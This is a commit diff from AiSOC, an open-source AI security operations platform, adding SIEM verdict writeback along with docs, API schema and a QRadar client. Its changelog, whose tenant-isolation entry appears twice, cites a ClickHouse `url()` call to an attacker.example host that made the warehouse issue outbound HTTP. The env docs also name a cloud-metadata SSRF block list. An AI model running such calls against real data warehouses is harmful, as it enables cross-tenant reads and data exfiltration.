Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

Close the loop with the SIEM: an AiSOC verdict reaches the finding that raised it (#794)

Beenu Arorafa7ea025b9b9
diff --git a/CHANGELOG.md b/CHANGELOG.md
index c4b30ab30..bd73a7224 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -95,6 +95,136 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Fixed
+- **A dry run called the customer's production SIEM.** The live-action dry-run
+ path works by stripping credentials so the executor falls through to
+ simulation, and the strip list did not match what the client factory reads:
+ the Splunk adapters stripped `splunk_host` / `splunk_token` / `splunk_index`
+ while `_splunk_client` reads `splunk_url` *first* and also accepts basic
+ auth. `splunk_url` is exactly what the credential resolver writes for a
+ connector-configured tenant, so a "preview" built a real client and called
+ Splunk. Elastic had the identical mismatch (`elastic_host` stripped,
+ `elastic_url` read). The strip lists are now the factories' own exported key
+ tuples, and a test re-derives each read set from the factory source so the
+ two cannot drift again.
+
+- **An `alert_vendor` pin was honoured without checking that vendor's
+ credentials existed.** `_ack_vendor` returned the pinned vendor
+ unconditionally. A dry run strips credentials, so the pin survived the strip,
+ resolved to "splunk" with no client, and hit an `assert` — crashing an action
+ that was meant to be a harmless preview. A pin naming a vendor the tenant had
+ never configured reported a vendor arm that could not run. A pin is now
+ checked against the credentials, and an unusable pin resolves to *nothing*
+ rather than falling through to whichever other SIEM happens to be configured:
+ "write this to Splunk" must not become "write this to Elastic".
+
+- **`CreateNotableEventExecutor` raised `TypeError` on every live call.** It
+ passed `title=` / `description=` / `fields=` to a client whose signature is
+ `(rule_name, event_data, severity, owner, status)`. Invisible because
+ simulation mode never constructs the client — the same defect class as the
+ `max_results` / `max_count` drift fixed earlier on this module. Every SIEM
+ executor-to-client call is now pinned by an autospec'd signature test, which
+ a hand-written fake with `**kwargs` could never have caught.
+
+- **The lake's tenant isolation could be switched off by resolving a
+ dependency one major version higher.** `lake_sql.rewrite_for_tenant` is the
+ only thing separating one tenant's events from another's in ClickHouse: it
+ parses untrusted operator SQL with sqlglot, enforces the table allowlist
+ against the parse tree, bans ClickHouse table functions, and injects the
+ `tenant_id` predicate. sqlglot 27 moved the SELECT's FROM clause from
+ `args["from"]` to `args["from_"]`. The table walk read the old key, got
+ nothing, and took the branch written for `SELECT 1` — "no FROM, so no tenant
+ data, nothing to do". Every single-table query then came back with no
+ allowlist check, no table-function ban and no tenant predicate, reported as
+ a successful rewrite.
+
+ `services/api/pyproject.toml` declared `sqlglot >=23.0.0,<31.0.0` while the
+ Dockerfile and every CI workflow declared `>=23,<27`, so this was reachable
+ by installing the service exactly as declared, and CI could not see it
+ because CI installed the narrow range. Verified on sqlglot 30.19.0 against
+ the pre-fix rewriter: `SELECT user_name FROM aisoc.raw_events` returned
+ unscoped, `SELECT * FROM system.tables` was accepted, and
+ `url('https://attacker.example/x', JSONEachRow)` was accepted — the last of
+ which makes the warehouse issue outbound HTTP with its own network identity.
+
+ Three changes rather than one, because pinning alone would leave the trap
+ armed for the next bump. The FROM clause now resolves by node type instead
+ of by key name. `rewrite_for_tenant` ends with an audit that takes its own
+ independent census of the statement's tables and raises the new
+ `LakeSqlIsolationError` unless every one of them was scoped, the tenant
+ survived into the rendered string, and every rendered SELECT that reads a
+ lake table carries the tenant in its own WHERE — so a partially scoped
+ UNION fails too. And all seven install paths now declare one identical
+ range, enforced by `scripts/check_sqlglot_pin.py`, with
+ `.github/workflows/lake-isolation.yml` running the rewriter suites against
+ both the shipped range and the next major so a future bump fails loudly
+ instead of quietly downgrading isolation.
+
+- **The alerts list was empty on every deployment, under a row count that was
+ real.** `AlertListResponse` returns the rows under `items`; the web client
+ read `raw.alerts`, which is never present, so `Array.isArray(undefined)` was
+ false and each page resolved to `[]` while `total` carried the true figure.
+ The queue therefore rendered "1,247 alerts" above an empty table with no
+ error to explain it, and an operator's most reasonable reading of that screen
+ was that their estate was quiet. The client now reads `items`, still accepts
+ the legacy `alerts` key the responder routes emit, and a test asserts the two
+ halves of the contract against each other so they cannot drift apart again.
+
+- **Two dashboards published fabricated security data as tenant state.**
+ `DashboardView` and `SOCMetricsDashboard` both wrapped their SWR
+ `fallbackData` in `demoFallback()`, which is `undefined` outside the hosted
+ demo — and both then defeated that gate a few lines later with an
+ unconditional `const resolved = isValid ? data : MOCK`. The mock was
+ therefore exactly what rendered during first paint and after any API error,
+ which for a self-hoster with an empty or unreachable backend is the whole
+ session.
+
+ What that put on screen as the reader's own numbers: a connector inventory
+ they do not run (`CrowdStrike EDR`, 412 events), a MITRE tactic ranking, a
+ 24-hour alert-volume curve, MTTD 1.4h / MTTR 6.2h, and an LLM spend line of
+ $76.65 naming three models they had never configured. Three "vs yesterday"
+ trend deltas sat beside the real alert counts as literals — `/metrics/dashboard`
+ publishes no period-over-period comparison, so there was nothing to derive
+ them from.
+
+ Every panel now renders one of three honest states: real figures, an empty
+ state naming what would populate it, or an error state carrying the failure
+ and a retry that re-issues the request. Sample data still populates the
+ hosted demo, which is the only reason it exists.
+
+- **The lake's tenant isolation could be switched off by resolving a
+ dependency one major version higher.** `lake_sql.rewrite_for_tenant` is the
+ only thing separating one tenant's events from another's in ClickHouse: it
+ parses untrusted operator SQL with sqlglot, enforces the table allowlist
+ against the parse tree, bans ClickHouse table functions, and injects the
+ `tenant_id` predicate. sqlglot 27 moved the SELECT's FROM clause from
+ `args["from"]` to `args["from_"]`. The table walk read the old key, got
+ nothing, and took the branch written for `SELECT 1` — "no FROM, so no tenant
+ data, nothing to do". Every single-table query then came back with no
+ allowlist check, no table-function ban and no tenant predicate, reported as
+ a successful rewrite.
+
+ `services/api/pyproject.toml` declared `sqlglot >=23.0.0,<31.0.0` while the
+ Dockerfile and every CI workflow declared `>=23,<27`, so this was reachable
+ by installing the service exactly as declared, and CI could not see it
+ because CI installed the narrow range. Verified on sqlglot 30.19.0 against
+ the pre-fix rewriter: `SELECT user_name FROM aisoc.raw_events` returned
+ unscoped, `SELECT * FROM system.tables` was accepted, and
+ `url('https://attacker.example/x', JSONEachRow)` was accepted — the last of
+ which makes the warehouse issue outbound HTTP with its own network identity.
+
+ Three changes rather than one, because pinning alone would leave the trap
+ armed for the next bump. The FROM clause now resolves by node type instead
+ of by key name. `rewrite_for_tenant` ends with an audit that takes its own
+ independent census of the statement's tables and raises the new
+ `LakeSqlIsolationError` unless every one of them was scoped, the tenant
+ survived into the rendered string, and every rendered SELECT that reads a
+ lake table carries the tenant in its own WHERE — so a partially scoped
+ UNION fails too. And all seven install paths now declare one identical
+ range, enforced by `scripts/check_sqlglot_pin.py`, with
+ `.github/workflows/lake-isolation.yml` running the rewriter suites against
+ both the shipped range and the next major so a future bump fails loudly
+ instead of quietly downgrading isolation.
+
- **The alerts list was empty on every deployment, under a row count that was
real.** `AlertListResponse` returns the rows under `items`; the web client
read `raw.alerts`, which is never present, so `Array.isArray(undefined)` was
@@ -196,6 +326,55 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Added
+- **Two-way SIEM integration: an AiSOC verdict is written back onto the
+ finding that produced the alert.** The integration only ever ran inbound. A
+ Splunk notable became an alert, the agent triaged it, and the notable sat in
+ the Splunk queue untouched — so an analyst re-read a finding AiSOC had
+ already dismissed, and a finding AiSOC had confirmed waited its turn behind
+ them. Nothing on `main` wrote a disposition back to any SIEM in any form.
+
+ New capability `update_alert_disposition` with five vendor arms (Splunk ES,
+ Elastic Security, Microsoft Sentinel, IBM QRadar, Microsoft Defender), two
+ new clients (`sentinel_client.py`, `qradar_client.py`), migration
+ `057_alert_source_links.sql`, and `POST /api/v1/alerts/{id}/source-writeback`.
+ The agents triage worker posts to that route after the verdict is durable and
+ fails soft — the verdict outranks its writeback, and an unreachable Splunk
+ must not dead-letter an alert that was triaged correctly. Docs:
+ [Integrations → SIEM writeback](apps/docs/docs/integrations/siem-writeback.md).
+
+ **The disposition mapping is the safety argument, not the approval tier.** A
+ confirmed true positive is *escalated and never closed*: it is the finding a
+ human most needs to see, and closing it because the platform is confident is
+ how an agent turns a real intrusion into a resolved ticket nobody read. An
+ unknown verdict is *refused, never guessed* — which matters because
+ `normalize_disposition` defaults an unrecognised string to `true_positive`,
+ so a mapper that normalised first would convert "I do not recognise this"
+ into a confident claim. Only benign and false-positive verdicts may close a
+ finding, and `benign_true_positive` is classified as a correct detection of
+ authorised activity rather than as a false positive, so it never inflates a
+ rule's own FP rate.
+
+ **Governance ships dry-run by default.** `AISOC_SIEM_WRITEBACK_ENABLED`
+ defaults on and `AISOC_SIEM_WRITEBACK_EXECUTE` defaults **off**, so an
+ operator opts in to writing into their own SIEM. Anything that is not an
+ explicit yes — including a typo — is read as a dry run. `executed` is the
+ single field that means a vendor was touched; it is carried on the API
+ response, on the worker's return value, and as a no-default column on
+ `alert_source_links`, so a dry run, a refusal and a credential-less
+ simulation can never be read as a write that happened. Projecting a closing
+ verdict onto a linked Jira / ServiceNow ticket needs a third flag
+ (`AISOC_SIEM_WRITEBACK_CLOSE_CASE`, off) because the ITSM connectors project
+ a status transition rather than a note, so the only truthful way to reach the
+ ticket is to resolve the case for real.
+
+- **The join key survives ingest.** `finding.uid` — the vendor's own id for a
+ finding — reached the OCSF envelope and was then discarded, so by the time a
+ row hit `alerts` the notable's rule UID, the Elastic signal id and the QRadar
+ offense id were gone and no verdict could be aimed at anything. Fusion now
+ carries it onto `alerts.external_id` and writes an `alert_source_links` row,
+ but only for a vendor with a writeback arm: a link to a system AiSOC cannot
+ write to would read as a two-way integration that is not one.
+
- **A SOC operations dashboard at `/dashboards/operations`.** `/dashboard`
answers what is happening in the estate; this answers whether the machine
that reports it is working. The distinction matters because every failure
diff --git a/apps/docs/docs/compliance/evidence-pack.md b/apps/docs/docs/compliance/evidence-pack.md
index 3d9f7e4ed..ae0d80499 100644
--- a/apps/docs/docs/compliance/evidence-pack.md
+++ b/apps/docs/docs/compliance/evidence-pack.md
@@ -33,7 +33,7 @@ and says so.
| Prompt-injection resistance | 32-payload adversarial corpus with a recall floor and a false-positive ceiling | `services/agents/tests/adversarial/` |
| Claim-to-gate traceability | Every product claim mapped to the CI job that fails when it stops being true | `docs/audit/CLAIM_TO_GATE_MATRIX.md` |
-The last row is the one worth reading first. It is the honest index: 103 rows
+The last row is the one worth reading first. It is the honest index: 105 rows
`GATED`, 9 `PARTIAL` with the specific gap named, and a ratchet that refuses
to let a row sit at `NO GATE`.
diff --git a/apps/docs/docs/deployment/env-vars.md b/apps/docs/docs/deployment/env-vars.md
index 62e4b0ddc..908aa3877 100644
--- a/apps/docs/docs/deployment/env-vars.md
+++ b/apps/docs/docs/deployment/env-vars.md
@@ -57,6 +57,17 @@ Source: [`services/api/app/services/audit.py`](https://github.com/beenuar/AiSOC/
| `AISOC_TRUSTED_PROXIES` | _empty_ | Comma-separated list of CIDRs (e.g. `10.0.0.0/8,192.168.0.0/16`) for trusted ingress / load balancer hops. When empty, `X-Forwarded-For` is **ignored** and `actor_ip` is the direct TCP peer — set this in production so the audit log records the real client IP without being spoofable from the public side. |
| `AISOC_AUDIT_MAX_CHANGES_BYTES` | `65536` | Hard cap on the serialized `changes` payload stored per audit row. Over-sized values are replaced with a `{ "_truncated": true, "_size": <bytes> }` marker. Set higher only if you genuinely need richer diffs and have provisioned the storage. |
+### SIEM disposition writeback
+
+Source: [`services/api/app/services/siem_writeback.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/app/services/siem_writeback.py). Background: [Integrations → SIEM writeback](../integrations/siem-writeback).
+
+| Variable | Default | Description |
+|----------|---------|-------------|
+| `AISOC_SIEM_WRITEBACK_ENABLED` | `1` (on) | Master switch for projecting an AiSOC verdict back onto the vendor finding that produced the alert. |
+| `AISOC_SIEM_WRITEBACK_EXECUTE` | `0` (**off**) | **Whether a vendor is actually called.** With this off every attempt is dispatched as a dry run, recorded with `executed=false` and reported as `mode: "dry_run"`. The asymmetry is deliberate: a writeback that did not happen costs one duplicated triage, and one that happened unexpectedly silently closed findings in your system of record. Anything that is not an explicit `1`/`true`/`yes`/`on` — including a typo — is read as a dry run. |
+| `AISOC_SIEM_WRITEBACK_CLOSE_CASE` | `0` (**off**) | Whether a closing verdict may resolve the linked case so the existing Jira / ServiceNow fan-out projects the real status. Separate from the execute flag because a case is a unit of work with an owner, not a queue item. |
+| `AISOC_AGENTS_SERVICE_TOKEN` | — | Shared secret the agents worker presents on `POST /alerts/{id}/source-writeback`. **Fails closed:** when unset there is no service path at all and an unauthenticated caller is refused, rather than an empty secret matching an absent header. |
+
### Passkeys (WebAuthn)
| Variable | Default | Description |
@@ -170,6 +181,9 @@ Source: [`services/agents/app/`](https://github.com/beenuar/AiSOC/tree/main/serv
| `AISOC_SSRF_ALLOWED_SCHEMES` | `http,https` | Comma-separated list of URL schemes allowed for outbound `http_request` and `notify` playbook steps. Anything else is rejected. |
| `AISOC_SSRF_ALLOW_PRIVATE` | `false` | When `true`, lets playbook steps reach loopback / RFC1918 / link-local destinations. Leave off in production; enable only for self-hosted webhooks on a private network. |
| `AISOC_SSRF_EXTRA_BLOCKED_HOSTS` | — | Comma-separated extra hosts or IPs to deny in addition to the built-in cloud-metadata block list (`169.254.169.254`, `metadata.google.internal`, …). |
+| `AISOC_SIEM_WRITEBACK_ENABLED` | `1` | Whether the triage worker asks the API to project a verdict onto the finding that raised the alert. Off means nothing is attempted. |
+| `AISOC_AGENTS_SERVICE_TOKEN` | — | Shared secret for the API's writeback route. **Unset disables the service path**, so the worker logs a warning and posts nothing rather than failing silently. |
+| `AISOC_SIEM_WRITEBACK_TIMEOUT_S` | `20` | Timeout for the writeback call. A timeout is a skipped writeback, never a failed triage. |
---
diff --git a/apps/docs/docs/integrations/siem-writeback.md b/apps/docs/docs/integrations/siem-writeback.md
new file mode 100644
index 000000000..1e429d97a
--- /dev/null
+++ b/apps/docs/docs/integrations/siem-writeback.md
@@ -0,0 +1,179 @@
+---
+id: siem-writeback
+title: SIEM disposition writeback
+sidebar_label: SIEM writeback
+---
+
+# SIEM disposition writeback
+
+AiSOC reads findings out of your SIEM, triages them, and — once you turn this
+on — writes the verdict back onto the finding that produced the alert. A Splunk
+notable AiSOC dismissed stops waiting for an analyst to re-read it. An Elastic
+signal AiSOC confirmed is already assigned by the time somebody opens the
+queue.
+
+Until this shipped the integration ran one way only. The finding came in, the
+verdict stayed in AiSOC, and the queue in the source system never changed.
+
+## What gets written
+
+The mapping is deliberate. Three rules govern everything:
+
+| AiSOC verdict | What happens to the source finding |
+| --- | --- |
+| `false_positive` | Closed, with AiSOC's reasoning attached |
+| `benign` | Closed, with AiSOC's reasoning attached |
+| `benign_true_positive` | Closed, classified as a *correct* detection of authorised activity — never as a false positive |
+| `true_positive` | **Left open.** Annotated, moved to in-progress, assigned |
+| `escalate` | **Left open.** Annotated, moved to in-progress, assigned |
+| `needs_review` | Nothing is written |
+| anything else | Refused |
+
+**A confirmed true positive is never closed.** It is the finding a human most
+needs to see, and closing it because the platform is confident is how an agent
+turns a real intrusion into a resolved ticket nobody read.
+
+**An unknown verdict is refused, never guessed.** A disposition outside the
+canonical taxonomy leaves the finding exactly as it was. This is stricter than
+it looks: elsewhere in the platform an unrecognised verdict normalises to
+`true_positive` as a fail-safe, and a writeback that normalised first would
+convert "I do not recognise this string" into a confident claim and then act
+on it.
+
+**`benign_true_positive` is not a false positive.** An approved penetration
+test or a sanctioned admin tool is a *correct* detection. Filing it as a false
+positive corrupts the rule's own false-positive rate, so the vendor
+classification reflects the distinction — `BenignPositive` on Sentinel,
+`TruePositive` + `SecurityTesting` on Defender.
+
+## Governance
+
+Two environment variables, and the important one defaults to off.
+
+| Variable | Default | Effect |
+| --- | --- | --- |
+| `AISOC_SIEM_WRITEBACK_ENABLED` | `1` (on) | Master switch. Off means nothing is attempted at either end. |
+| `AISOC_SIEM_WRITEBACK_EXECUTE` | `0` (**off**) | Whether a vendor is actually called. Off means every attempt is dispatched as a dry run. |
+| `AISOC_SIEM_WRITEBACK_CLOSE_CASE` | `0` (**off**) | Whether a closing verdict may resolve a linked case and project that onto its Jira / ServiceNow ticket. |
+
+The asymmetry is the point. A writeback that did not happen costs an analyst
+one duplicated triage. A writeback that happened when you did not expect it
+silently closed findings in your system of record. So you opt in to writing
+into your own SIEM; you do not opt out.
+
+Anything that is not an explicit yes (`1`, `true`, `yes`, `on`) is read as a
+dry run, including an unrecognised value — a typo must not be read as consent.
+
+### Telling a dry run from a write
+
+A dry run and a live call are both HTTP 200. One field distinguishes them
+everywhere it matters:
+
+```json
+{
+ "alert_id": "…",
+ "disposition": "false_positive",
+ "mode": "dry_run",
+ "executed": false,
+ "executed_count": 0,
+ "outcomes": [
+ {
+ "vendor": "splunk",
+ "external_id": "NOTABLE-42",
+ "status": "dry_run",
+ "executed": false,
+ "writeback_action": "close",
+ "detail": "DRY RUN — nothing was written to splunk. AiSOC triaged this finding as false_positive (confidence 91%). Closing it in the source system."
+ }
+ ]
+}
+```
+
+`executed` is `true` only when a vendor call actually ran. A refusal, a dry
+run, and a simulation for want of credentials all report `false`, and the
+`alert_source_links.executed` column carries the same flag with no default —
+a row that was never written back cannot read as one that was.
+
+## How the join works
+
+The source system's own identifier for a finding — a Splunk notable's rule
+UID, an Elastic signal id, a Sentinel incident name, a QRadar offense id —
+arrives through ingest as OCSF `finding.uid` and is stored two ways:
+
+* `alerts.external_id`, the denormalised join key on the alert row;
+* `alert_source_links`, the reconciliation record: which connector instance
+ produced the finding, what was last written back to it, when, and whether
+ that write executed.
+
+Fusion writes both at promotion time, because that is the only moment the
+alert id, the connector instance and the vendor finding id exist together.
+A source with no writeback arm gets no link row at all — a link for a vendor
+AiSOC cannot write to would read as a two-way integration that is not one.
+
+See the links for an alert with:
+
+```
+GET /api/v1/alerts/{alert_id}/source-links
+```
+
+## Supported systems
+
+| System | Close | Escalate | Notes |
+| --- | --- | --- | --- |
+| Splunk Enterprise Security | notable status → closed | notable status → in progress, owner set | Management port is **8089**, not a web port. Token or basic auth. |
+| Elastic Security | signal status → `closed` | signal status → `acknowledged` | Needs `kibana_url` as well as `elastic_url`. |
+| Microsoft Sentinel | incident → `Closed` + classification | incident → `Active`, owner set | App registration needs the *Sentinel Responder* role; *Reader* fails only at the PATCH. |
+| IBM QRadar | offense → `CLOSED` + closing reason | note added, offense stays `OPEN` | `closing_reason_id` is per-deployment and has no safe default — set it in the connector config or a close fails loudly. |
+| Microsoft Defender | alert classified + resolved | alert commented, assigned | |
+
+TLS verification is on by default for the appliance clients. Operators running
+an internal CA can opt out per instance (`qradar_verify_ssl`,
+`splunk_verify_ssl`); that is an explicit opt-in to a weaker posture, never a
+default.
+
+## Ticketing
+
+Where the alert's case has a Jira or ServiceNow ticket, a closing verdict can
+carry through to it — but only by resolving the case first. The ITSM
+connectors project a *status transition*, not a note, so the only truthful way
+to reach the ticket is to make the transition real. Synthesising one would put
+a resolution on somebody's ticket that no AiSOC record supports.
+
+That makes it a bigger action than closing a SIEM finding — a case is a unit of
+work with an owner — so it sits behind its own flag,
+`AISOC_SIEM_WRITEBACK_CLOSE_CASE`, on top of the execute flag. With it off the
+linked ticket is reported `skipped` with the reason rather than silently
+ignored.
+
+## Who may call it
+
+```
+POST /api/v1/alerts/{alert_id}/source-writeback
+```
+
+Two callers. A person in the console authenticates with a session and needs
+`alerts:write`; their tenant comes from the session, never from the request
+body. The agents worker authenticates with `AISOC_AGENTS_SERVICE_TOKEN` and
+must name the tenant it is acting for.
+
+**The service token fails closed.** When `AISOC_AGENTS_SERVICE_TOKEN` is unset
+there is no service path at all — an unauthenticated caller is refused rather
+than admitted, because an empty secret compared against an absent header is
+how an internal route becomes a public one. If the variable is not set, the
+worker logs a warning naming the reason rather than failing silently.
+
+The worker never dispatches the vendor call itself. The API service holds the
+credential vault, the tenant-scoped session and the actions-service token, and
+it is the single governed path a response action takes.
+
+## Autonomy posture
+
+`update_alert_disposition` is declared LOW impact with `MANUAL_ONLY` reversal
+in the capability contract, alongside `create_notable_event` and `push_status`
+— it changes a queue item, not an estate, and a wrong one is re-opened from
+the vendor console in a click.
+
+What bounds it is not the approval tier but the disposition mapping above,
+plus the execute flag. Re-opening a finding an analyst may since have actioned
+would race them in their own console, so there is no automatic rollback: the
+contract says `MANUAL_ONLY` and means it.
diff --git a/apps/docs/sidebars.ts b/apps/docs/sidebars.ts
index c3da54698..7f741b582 100644
--- a/apps/docs/sidebars.ts
+++ b/apps/docs/sidebars.ts
@@ -53,8 +53,6 @@ const sidebars: SidebarsConfig = {
"console/queue",
"console/rule-tuning",
"console/investigation-rail",
- "console/federated-search",
- "console/operations-dashboard",
"console/public-replay",
],
},
@@ -216,7 +214,7 @@ const sidebars: SidebarsConfig = {
{
type: "category",
label: "Integrations",
- items: ["integrations/mcp", "integrations/misp-push", "integrations/github-action"],
+ items: ["integrations/mcp", "integrations/siem-writeback", "integrations/misp-push", "integrations/github-action"],
},
{
type: "category",
diff --git a/docs/audit/CLAIM_TO_GATE_MATRIX.md b/docs/audit/CLAIM_TO_GATE_MATRIX.md
index aca3a8836..46514b4ab 100644
--- a/docs/audit/CLAIM_TO_GATE_MATRIX.md
+++ b/docs/audit/CLAIM_TO_GATE_MATRIX.md
@@ -120,10 +120,12 @@ Statuses: `GATED` (a CI job fails when the claim stops being true) · `PARTIAL`
| A rule id names the same detection in the engine and in the catalogue | detections/truth-table.md | `validate-detections.yml` (`generate_detections.py --check` plus `test_detection_id_stability.py`) — the committed pack must reproduce byte-for-byte, YAML and engine ids are each compared against the lock, an id must name the same rule in both, and reordering the spec list must not renumber the engine | GATED | - |
| Which identity providers can resolve permissions live is stated, not implied | effective-permissions endpoint docstring | `ci.yml` api job (`test_posture_snapshot_coverage.py`) — a resolver registered without a declared snapshot source fails, the live-capable set is pinned, and a stale allow-list entry fails once its connector starts answering the posture sentinel | GATED | four of five providers cannot collect a live snapshot: no connector implements `__posture_snapshot__`, so they answer 412 rather than fabricating one |
| Config snapshots reach the graph when the feature reports enabled | architecture/graph-schema.md (`:CONFIGURED_AS`) | `ci.yml` ingest job (`http_provider_test.go`) — the provider's request shape is pinned against the served route, vendor-supplied ids are escaped so an ARN cannot inject a query parameter, a 501 is distinguished from an error, and the bi-temporal edge properties the schema declares are asserted present | GATED | `is_current` is set on write and never cleared, because closing the previous interval needs a read-modify-write the ingest hot path does not do |
+| SIEM integrations are two-way: an AiSOC verdict reaches the finding that raised it | docs/integrations/siem-writeback.md | `ci.yml` actions job (`test_disposition_writeback.py` — a confirmed true positive escalates and is never closed, an unrecognised verdict is refused rather than normalised, and the taxonomy is compared against the agents service so a verdict present on one side only cannot silently mean nothing) + `test_siem_client_signatures.py` (every close and escalate arm autospec'd against its real client) + api job (`test_siem_writeback.py` — refusals, simulations and transport failures all record `executed=False`) + fusion job (`test_source_finding_link.py` — `finding.uid` reaches `alerts.external_id`, and only a vendor with a writeback arm gets a link row) | GATED | - |
+| A dry run never reaches a customer's vendor | live-action dry-run contract | `ci.yml` actions job (`test_dry_run_credential_strip.py` — each client factory's read set is re-derived from its own source and compared with the adapter's strip list, stripping that set is asserted to make the factory return `None`, and an end-to-end dry run with full credentials trips a wire if any factory returns a client) | GATED | the wire covers the four SIEM factories the writeback path uses; other vendors' adapters are covered by the strip-list equality check only |
## Summary
-- GATED: 103
+- GATED: 105
- PARTIAL: 9
- NO GATE: 0 (**every claim is backed by a failing test.** The last NO GATE — the weekly benchmark scoreboard running live against `main` — closed in Phase E1: `scripts/check_scoreboard.py` ties the published scoreboard to a deterministic per-PR live-agent MITRE-accuracy run, while the funded weekly `wet-eval.yml` appends the LLM-tier rows. The remaining PARTIAL rows are honest, named deferrals — each states the specific gap and what closes it — not unproven claims.)
diff --git a/docs/openapi.yaml b/docs/openapi.yaml
index 0c5f14775..0cd183ca5 100644
--- a/docs/openapi.yaml
+++ b/docs/openapi.yaml
@@ -751,6 +751,99 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/HTTPValidationError'
+ /api/v1/alerts/{alert_id}/source-writeback:
+ post:
+ tags:
+ - alerts
+ summary: Write an AiSOC verdict back to the source finding
+ description: 'Project ``disposition`` onto every source finding behind this
+ alert.
+
+
+ The response distinguishes four things a caller could otherwise confuse:
+
+ ``mode`` (live / dry_run / disabled), ``executed`` (whether a vendor call
+
+ actually ran), each outcome''s ``status``, and the per-vendor ``detail``
+
+ explaining a refusal. A dry run reports ``executed: false`` and a detail
+
+ that begins ``DRY RUN``.'
+ operationId: write_back_api_v1_alerts__alert_id__source_writeback_post
+ security:
+ - HTTPBearer: []
+ parameters:
+ - name: alert_id
+ in: path
+ required: true
+ schema:
+ type: string
+ format: uuid
+ title: Alert Id
+ - name: x-aisoc-service-token
+ in: header
+ required: false
+ schema:
+ anyOf:
+ - type: string
+ - type: 'null'
+ title: X-Aisoc-Service-Token
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SourceWritebackRequest'
+ responses:
+ '200':
+ description: Successful Response
+ content:
+ application/json:
+ schema:
+ type: object
+ additionalProperties: true
+ title: Response Write Back Api V1 Alerts Alert Id Source Writeback
+ Post
+ '422':
+ description: Validation Error
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/HTTPValidationError'
+ /api/v1/alerts/{alert_id}/source-links:
+ get:
+ tags:
+ - alerts
+ summary: Which vendor findings produced this alert
+ description: 'The reconciliation view: source findings and their last writeback.'
+ operationId: source_links_api_v1_alerts__alert_id__source_links_get
+ security:
+ - HTTPBearer: []
+ parameters:
+ - name: alert_id
+ in: path
+ required: true
+ schema:
+ type: string
+ format: uuid
+ title: Alert Id
+ responses:
+ '200':
+ description: Successful Response
+ content:
+ application/json:
+ schema:
+ type: array
+ items:
+ $ref: '#/components/schemas/SourceLinkResponse'
+ title: Response Source Links Api V1 Alerts Alert Id Source Links
+ Get
+ '422':
+ description: Validation Error
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/HTTPValidationError'
/api/v1/cases:
get:
tags:
@@ -25805,6 +25898,43 @@ components:
- alerts_handled
- escalations
title: ShiftSummary
+ SourceLinkResponse:
+ properties:
+ vendor:
+ type: string
+ title: Vendor
+ external_id:
+ type: string
+ title: External Id
+ external_url:
+ anyOf:
+ - type: string
+ - type: 'null'
+ title: External Url
+ last_disposition:
+ anyOf:
+ - type: string
+ - type: 'null'
+ title: Last Disposition
+ last_writeback_action:
+ anyOf:
+ - type: string
+ - type: 'null'
+ title: Last Writeback Action
+ last_writeback_status:
+ anyOf:
+ - type: string
+ - type: 'null'
+ title: Last Writeback Status
+ executed:
+ type: boolean
+ title: Executed
+ default: false
+ type: object
+ required:
+ - vendor
+ - external_id
+ title: SourceLinkResponse
SourceStat:
properties:
name:
@@ -25876,6 +26006,36 @@ components:
\ message. Other backends may still have\n succeeded.\n * ``unsupported``\
\ — connector type doesn't speak federated search\n (kept for forward-compat;\
\ today we pre-filter so this is rare)."
+ SourceWritebackRequest:
+ properties:
+ disposition:
+ type: string
+ title: Disposition
+ description: Canonical AiSOC disposition. Anything unrecognised is refused,
+ not guessed.
+ confidence:
+ anyOf:
+ - type: number
+ maximum: 1.0
+ minimum: 0.0
+ - type: 'null'
+ title: Confidence
+ rationale:
+ type: string
+ maxLength: 4000
+ title: Rationale
+ default: ''
+ tenant_id:
+ anyOf:
+ - type: string
+ format: uuid
+ - type: 'null'
+ title: Tenant Id
+ type: object
+ required:
+ - disposition
+ title: SourceWritebackRequest
+ description: What the caller believes about the alert.
SubmissionResponse:
properties:
id:
diff --git a/services/actions/app/clients/qradar_client.py b/services/actions/app/clients/qradar_client.py
new file mode 100644
index 000000000..d3195f8c1
--- /dev/null
+++ b/services/actions/app/clients/qradar_client.py
@@ -0,0 +1,137 @@
+"""IBM QRadar REST client — offense lifecycle writeback.
+
+Scope is deliberately narrow: AiSOC needs to close an offense it judged
+benign, and to annotate plus keep open one it confirmed. Everything else
+QRadar can do stays out of this client.
+
+Credentials expected in ``ActionRequest.parameters``:
+ qradar_url: str e.g. "https://qradar.corp.example.com"
+ qradar_token: str an authorised service token (``SEC`` header)
+ qradar_verify_ssl: bool default True
+
+TLS verification defaults on. QRadar consoles are frequently fronted by an
+internal CA, so an operator can opt out per instance — an explicit opt-in to
+a weaker posture, never the default.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import httpx
+import structlog
+
+logger = structlog.get_logger()
+
+#: QRadar rejects an unversioned request on recent appliances, and the version
+#: it negotiates changes what the offense payload looks like. Pinned so a
+#: console upgrade cannot silently change the response shape underneath us.
+API_VERSION = "12.0"
+
+
+class QRadarClient:
+ """Async client for the QRadar offense API."""
+
+ def __init__(
+ self,
+ base_url: str,
+ api_token: str,
+ *,
+ verify_ssl: bool = True,
+ timeout: float = 30.0,
+ ) -> None:
+ self._base = base_url.rstrip("/")
+ self._token = api_token
+ self._verify_ssl = verify_ssl
+ self._timeout = timeout
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "SEC": self._token,
+ "Version": API_VERSION,
+ "Accept": "application/json",
+ }
+
+ async def _post(self, path: str, params: dict[str, Any]) -> dict[str, Any]:
+ async with httpx.AsyncClient(timeout=self._timeout, verify=self._verify_ssl) as client:
+ response = await client.post(f"{self._base}{path}", headers=self._headers(), params=params)
+ response.raise_for_status()
+ return response.json() if response.content else {}
+
+ async def get_offense(self, offense_id: str) -> dict[str, Any]:
+ """Read one offense. Used as the writeback verification probe."""
+ async with httpx.AsyncClient(timeout=self._timeout, verify=self._verify_ssl) as client:
+ response = await client.get(
